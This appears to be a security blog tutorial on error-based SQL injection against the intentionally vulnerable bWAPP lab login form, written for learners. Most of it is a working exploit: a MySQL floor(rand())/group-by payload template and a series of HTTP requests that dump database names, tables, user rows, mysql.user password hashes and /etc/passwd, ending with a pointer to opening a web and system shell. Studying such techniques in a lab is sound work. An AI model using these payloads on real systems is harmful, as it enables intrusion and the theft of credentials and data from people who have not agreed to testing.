Error-Based SQL Injection

In the previous post, I started to recap the notorious web application attack, SQL Injection. And I plan to go deeper by examining its types and exploitation techniques. So, today, there is one of the techniques on the menu, Error-Based SQL injection. Ok, fasten your seat belts.

You can reach out to the previous post here, “Introduction to SQL Injection: Detection and Exploitation”.

Introduction

Error-based SQL injection is an inband injection technique that uses database errors to extract information. It is pretty easy to get the logic of the technique. Let’s suppose you are trying for an injection. Then you may face with SQL errors. And after breaking the query, your goal is generally to create a better payload that does not break the query and obtain information from the database as you wish.

However, it does not always happen like that. In some certain cases, you may not see the result of your payload, even you build a perfect payload. Because all you see: is an error, a blank page or a pedefined warning.

In a situation like that, wouldn’t it be great if you grasp MySQL errors in deep? So what you are going to do: finding the truth in the error messages.

So in a nutshell, Error-based SQL injection relies on forcing database to cause errors that contains valuable information to reconstruct database.

Errors are very useful while developing an application. They help developers to find their way. However, sadly if the application is not configured well, these errors can help you to find yours as well. So errors have to be disabled and logged in production environment.

As I declared before, you will be using BeeBox as the target. So go to bWAPP and log in. Then from the upper-right menu, open “SQL Injection (Login Form / User)”.

This is a vulnerable login form and Figure 1 displays the input points.

Figure 1.

Here, let’s assume you are conducting a black-box operation, and have no prior information. This means you need to detect the vulnerability over these 2 fields.

And first you need to determine the application behaviours.

  1. type something ramdom into the both fields.
    1. Result: Invalid credentilas.
  2. type something random only into the login field.
    1. Result: Invalid credentials.
  3. type something random only into the password field .
    1. Result: Invalid credentials
  4. Do not type something, just submit the form.
    1. Result: invalid credentials.
  5. type a single quote only into the login field.
    1. Result: SQL syntax error.
  6. type a single quote only into the password field.
    1. Result: Invalid credentials.

Here is the first thing you need to get, “password” field has nothing to do break the query. So you should focus on the “login” field.

In a normal injection process, you nee to beautify your query after detect an SQL error. So you can put an # as well.

  1.  type ‘# into the login field.
    1. Result: Invalid credentials.

Congratualtions, this is the second finding that proves your payload does not break the query and most probably works at backend. However there is nothing on the page, just an annoying warning. What comes from the database to the page is just database errors. So you need to edit your payload caused meaningful errors which brings information from database.

As always, I want to put a breakpoint here and go to terminal to view the codefile. In bWAPP, there are 2 examples that covers SQL injection over a Login Form. I want you t see both ones and figure out both perspectives. So, the first one is page ‘sqli_3.php” which you can view on Figure 2.

Figure 2.

On line 10, developer creates the SQL statement. But, If you watch it carefuly, you can see login and password are checked in the same query. This is an important point which provides you the ability to exclude password field while injecting. Then you can use “union” technique to extract data by injecting to login field. So that, you can straightforwardly view the result on the page.

On the other hand, displaying Figure 3, you will see a diferent aspect in sqli_16.php which you are going to inject.

Figure 3.

On line 9, developer hashes the “password” you enter. Then on line 11, he creates the SQL  statement, but, checks only for “login”. Therefore, it seems easy to inject your payload in such a query. So, if there is a problem with the execution of the statement, it will throw the error. But, if query executes well, then it goes into the “else” statement. And here, developer makes an extra check by comparing the password hashes. That’s the problem. Even if you inject a perfect payload, you will not be able to read the result because of line 23.

But if you are able to break the query and cause SQL to throw errors, then you can view errors on the page. At this point, Error-based SQL injection comes to life. Think of that how it would be great, if you would pushes databses to throw error that contains sensitive and unauthorized data. And you are going to do this in the following part.

So take the SQL statement in Figure 3. It controls only “login”.

SELECT * FROM users WHERE login = ''

In a regular detection process, you will try a single quote (‘) and see the syntax error as in the Figure 4.

SELECT * FROM users WHERE login = '''

Figure 4.

And then you will try not to break the query, by adding a # as below. And “Invalid credentials” warning will be displayed as in the Figure 5. Whereas your query is not broken.

SELECT * FROM users WHERE login = ''#'

Figure 5.

And if you are not bored, you can try below payloads as well.

SELECT * FROM users WHERE login = '' and 1=1#'
SELECT * FROM users WHERE login = '' and 1=2#'

Both payloads will work great. However you wont be able to see any result on the page. Instead, if you use the following payload which I will explain in a few second, you will be able to get something logical as in the Figure 6.

SELECT * FROM users WHERE login = '' and (Select 1 from (Select count(*) A, concat((Select version()), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#

Figure 6.

This is how your last payload displayed in a MySQL Workbench editor. This way, it is more readable.

Figure 7.

The important part of this payload is the query below.

Select count(*) A, concat((Select version()), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B
Select count(*) A, concat((Select version()),
0x3a,
floor(rand(0)*2)) B from information_schema.tables group by B

The aggregate function “count(*)” enables you to use “group by” statement for grouping the result according to column B. “rand(0)*2” creates a series of random decimal numbers start with either 0 or 1. Then “floor()” function returns an integer (0 or 1) from the number derived from rand() function. To be able to get the error much like Figure 6, you should use a table such as information_schema.tables which has to have at least 3 rows.
This is a MySQL bug. For further reading, you can visit the link,

https://bugs.mysql.com/bug.php?id=58081 .
Ok, it is time to return the breakpoint. So, you can use a local proxy like Burp Suite to capture the HTTP request as following and inject your payload to the “login” paramater.

POST /bWAPP/sqli_16.php HTTP/1.1
Host: 192.168.133.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Referer: http://192.168.133.129/bWAPP/sqli_16.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Cookie: security_level=0; PHPSESSID=ab69b5454e85187f08e2634c0ef6309b
Connection: close
Upgrade-Insecure-Requests: 1

login=testUser&password=testPassword&form=submit

Main payload template:

Now, you can use the below payload template to extract information from the database.

' and (Select 1 from (Select count(*) A, concat((<Your Query>), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#

Discovering database server version, current database and user:

##Version:

POST /bWAPP/sqli_16.php HTTP/1.1
…

login=' and (Select 1 from (Select count(*) A, concat((Select version()), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

##Database:

POST /bWAPP/sqli_16.php HTTP/1.1
…

login=' and (Select 1 from (Select count(*) A, concat((Select database()), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

##User:

POST /bWAPP/sqli_16.php HTTP/1.1
…

login=' and (Select 1 from (Select count(*) A, concat((user()), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

##All together:

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((SELECT concat_ws(0x3a, version(), database(), user())), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Listing databases on the server:

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select schema_name from information_schema.schemata limit 0,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

… By using “limit”, you can obtain database names one by one.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select schema_name from information_schema.schemata limit 4,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Choosing a target database and Pulling table information:

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

… By using “limit”, you can obtain table names one by one.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select table_name from information_schema.tables where table_schema='bWAPP' limit 5,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Choosing a target table and Pulling column information:

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select column_name from from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

… By using “limit”, you can obtain column names one by one.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select column_name from from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 9,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Pulling data in columns:

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select concat(id, 0x3a, login, 0x3a, secret, 0x3a, admin) from bWAPP.users limit 0,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

… By using “limit”, you can obtain data rows one by one.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select concat(id,0x3a,login,0x3a,secret,0x3a,admin) from bWAPP.users limit 4,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Extracting MySQL users and passwords:

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select concat(host, 0x3a, user, 0x3a, password) from mysql.user limit 1,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

… By using “limit”, you can obtain MySQL users one by one.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select concat(host, 0x3a, user, 0x3a, password) from mysql.user limit 4,1), 0x3a, floor(rand(0)*2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Viewing critical system files:

You can view the first 10 character of the “/etc/passwd” file as following.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select substr(load_file('/etc/passwd'), 1,10)), 0x3a, floor(rand(0) * 2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Then you can try for 400 characters.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select substr(load_file('/etc/passwd'), 1,400)), 0x3a, floor(rand(0) * 2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

But you will not be able to read 400 characters, only 64.

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/b —>64 Characters. So you need to rearrange the payload to read every sequential 64 characters as following.

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select substr(load_file('/etc/passwd'), 1,64)), 0x3a, floor(rand(0) * 2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

POST /bWAPP/sqli_16.php HTTP/1.1
…
 
login=' and (Select 1 from (Select count(*) A, concat((Select substr(load_file('/etc/passwd'), 64,128)), 0x3a, floor(rand(0) * 2)) B from information_schema.tables group by B) C)#&password=testPassword&form=submit

Getting a web/system shell:

Until this point, you detect Error-based sql injection and exploit it manually. And this is something that you would be glad. But, you have one more challenge here. It is to maintain your access with a web or system shell.

As you know, there is an sql injection here. Then you can follow the way you did in the post “Introduction to SQL Injection: Detection and Exploitation” to open a web shell. After that you can migrate to a system shell.

Here is a point to keep in mind for you: You will get error if your query doesn’t work. And if it works, then you will see nothing on the page, just the message “Invalid credentials”. So, it is better to control whether your shells are ready or not each time.

Anyway I think we can stop here and I hope you enjoy the post. So see you on the next ones.

Leave a Comment

Your email address will not be published. Required fields are marked *